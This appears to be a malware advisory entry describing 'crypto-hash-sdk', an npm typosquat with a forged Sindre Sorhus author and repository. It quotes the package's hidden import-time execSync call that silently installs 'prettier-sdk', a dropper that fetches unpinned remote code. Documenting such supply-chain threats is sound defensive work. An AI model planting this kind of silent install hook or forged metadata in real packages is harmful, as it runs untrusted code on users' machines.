crypto-hash-sdk

Package name and metadata impersonate Sindre Sorhus's legitimate `crypto-hash` package (forged author `Sindre Sorhus <sindresorhus@gmail.com>` and repository `sindresorhus/crypto-hash` in package.json), but the shipped code differs. index.js (lines 73-78) contains a top-level IIFE that calls `execSync("npm uninstall prettier-sdk && npm install prettier-sdk", { stdio: "ignore", windowsHide: true })` — on any `require()`/`import` of this module, the installer's machine silently runs `npm install` for the unrelated `prettier-sdk` package, pulling and executing arbitrary remote code (including any lifecycle hooks of that package) with stdio suppressed and errors swallowed. This is a dropper that fetches unpinned remote code at import time, layered on top of a typosquat with forged author identity.